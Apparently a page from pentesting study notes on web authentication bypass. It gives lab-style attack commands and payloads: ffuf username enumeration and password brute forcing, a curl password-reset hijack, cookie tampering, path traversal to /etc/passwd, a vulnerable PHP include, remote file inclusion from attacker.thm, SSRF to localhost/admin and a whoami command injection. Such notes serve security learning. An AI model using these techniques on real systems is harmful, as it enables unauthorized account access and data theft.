Web Authentication Bypass

Background

Web authentication bypass refers to the various techniques and methods used by attackers to gain unauthorized access to a website by bypassing its authentication mechanisms.

Techniques

There are many techniques that can be used to bypass authentication in web applications including Username Enumeration, Brute Forcing, Logic Flaws, Cookie Tampering, IDOR, Path Traversal, Local File Inclusion (LFI), Remote File Inclusion (RFI), Server-Side Request Forgery (SSRF), Command Injection.

In addition to the techniques described here, other techniques include Session Hijacking, Session Fixation, XSS, SQL Injection, Password Reuse and Social Engineering.

Username Enumeration

Username enumeration can be used with the help of the Fuzz Faster U Fool (ffuf) fuzzing tool.

In the following example, ffuf is used to determine if names from a password list are valid usernames, using these arguments:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://VICTIM.COM/sign-up-form -mr "username already exists"

  • -w: location of wordlist

  • -X: request method

  • -d: data to send

  • -H: adds additional headers

  • -u: URL to send request to

  • -mr: text on page used to validate a valid username

Brute Forcing

Once valid usernames are found, a brute force attack can be performed on the victim's login page using ffuf.

In the following example, ffuf is used to test a list of valid unsernames against a list of potential passwords, using these arguments:

`ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://VICTIM_IP/customers/login -fc 200`

  • -w1: wordlist of valid usernames

  • -w2: wordlist of potential passwords

  • -w: specifies 2 wordlists that are comma separated

  • -fc: checks for HTTP status code other than 200

Logic Flaws

A logic flaw is when the typical logical path of an application is either bypassed, circumvented, or manipulated by an attacker.

Here is an example of a flaw in a password reset form that enables an attacker to send an account reset for a valid account to an email address of the attacker's choosing. This example uses CURL request using the -H flag to add application/x-www-form-urlencoded so the web server knows data is being submitted, the -d flag specifies that the password reset for robert should be emailed to attacker@email.com:

curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.com' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@email.com'

Cookie Tampering

Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user's account, or elevated privileges. Cookie values are often hashed or encoded with ASCII or base32. A tool such as Crackstation or CyberChef could be used to help crack cookie hashes.

In the following example curl is used to tamper the cookie to show the user logged in as an admin:

curl -H "Cookie: logged_in=true; admin=true" http://VICTIM_IP/cookie-test

IDOR

IDOR stands for Insecure Direct Object Reference occurs when user data input to a webserver is not validated. This occurs when web servers place too much trust in objects like files, data, and documents.

  • A simple IDOR example would be a site user whose profile is at the url http://victim.com/profile?=1 accesses the link http://victim.com/profile?=100 and sees another user's information

  • URLs are often encoded in base64, so IDOR vulnerabilities in based64 URLs can be identified/exploited

  • URLs might also be encoded with hashed IDs, often in MD5

  • Tips for exploiting IDOR include:

    • Testing parameter manipulation: This involves modifying parameters in the URL or payload to access restricted resources.

    • Testing for predictable resource locations: This involves attempting to guess the location of a resource by appending sequential numbers or other predictable values to the URL.

    • Testing for broken access controls: This involves attempting to access resources by bypassing authentication mechanisms.

    • Testing for verb tampering: This involves changing the HTTP verb (e.g., GET to POST) to access resources that are normally restricted.

    • Automated vulnerability scanning: Automated vulnerability scanners can be used to identify IDOR vulnerabilities. However, it's important to note that these tools may not always catch every vulnerability and should be used in conjunction with manual testing.

    • Reviewing code: It's important to review the code of the web application to understand how objects are referenced and accessed, which can help identify IDOR vulnerabilities.

    • Keeping up-to-date with common attack vectors: Staying informed about common attack vectors and researching new techniques can help you discover new and emerging IDOR vulnerabilities.

  • Tools for exploiting IDOR include:

Path Traversal

Path Traversal, aka Directory Traversal, is a vulnerability that allows an attacker to read OS resources running an application. This vulnerability is exploited by manipulating a web app's URL. Path traversal vulnerabilities occur when the user's input is passed to a function such as file_get_contents in PHP.

  • In the following path traversal example, get.php?file= is used to traverse to the OS password file: http://webapp.thm/get.php?file=../../../../etc/passwd

  • A similar path traversal could be exploited against Windows by running http://webapp.thm/get.php?file=../../../../boot.ini or http://webapp.thm/get.php?file=../../../../windows/win.ini

  • Here is a list of common OS files that can be tested for path traversal:

Local File Inclusion (LFI)

LFT attacks against web applications follows similar concepts as path traversal. PHP functions such as include, require, include_once, and require_once often contribute to vulnerable web applications.

In the following example, the include PHP function can be used to obtain sensitive information by changing the lang input to /etc/passwd which would be equivalent to http://webapp.thm/index.php?lang=../../../../etc/passwd:

<?PHP 
	include("languages/". $_GET['lang']); 
?>

Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is a technique to include remote files and into a vulnerable application. RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into include function. One requirement for RFI is that the allow_url_fopen option needs to be on.

For example, an attacker could host a php file where cmd.txt prints Hello Bros:

<?PHP echo "Hello Bros"; ?>

Next, the attacker injects their malicious URL into a form that has no input validation so that the page executes the remote file: http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt

Server-Side Request Forgery (SSRF)

SSRF is a vulnerability that causes the webserver to make an additional or edited HTTP request to the resource of the attacker's choosing

There are 2 types of SSRF: regular SSRF where data is returned or blind SSRF where no data is returned to the attacker.

If working with a blind SSRF where no output is reflected back to you, you'll need to use an external HTTP logging tool to monitor requests such as requestbin.com, your own HTTP server or Burp Suite's Collaborator client.

The following SSRF example an API to retrieve stock status of an item is exploited to request the contents of the /admin file on the server itself:

Vulnerability:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

Exploit:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

Command Injection

Command injection is the abuse of an application's behavior to execute commands on the operating system, using the same privileges that the application on a device is running with. This vulnerability exists because applications often use functions in programming languages such as PHP, Python and NodeJS to pass data to and to make system calls on the machine’s operating system

Applications that use user input to populate system commands with data can often be combined in unintended behaviour. For example, the shell operators ;, & and && will combine two (or more) system commands and execute them both. Command injection attacks can be either verbose, where there is direct feedback, or bilnd, where there is no direct output.

The curl command is a great way to test for command injection. This is because you are able to use curl to deliver data to and from an application in your payload. Take this code snippet below as an example, a simple curl payload to an application is possible for command injection: curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami

Useful Linux Command Injection Payloads:

Useful Windows Command Injection Payloads:

Resources

PreviousPhishingNextNetwork Services Attacks

Last updated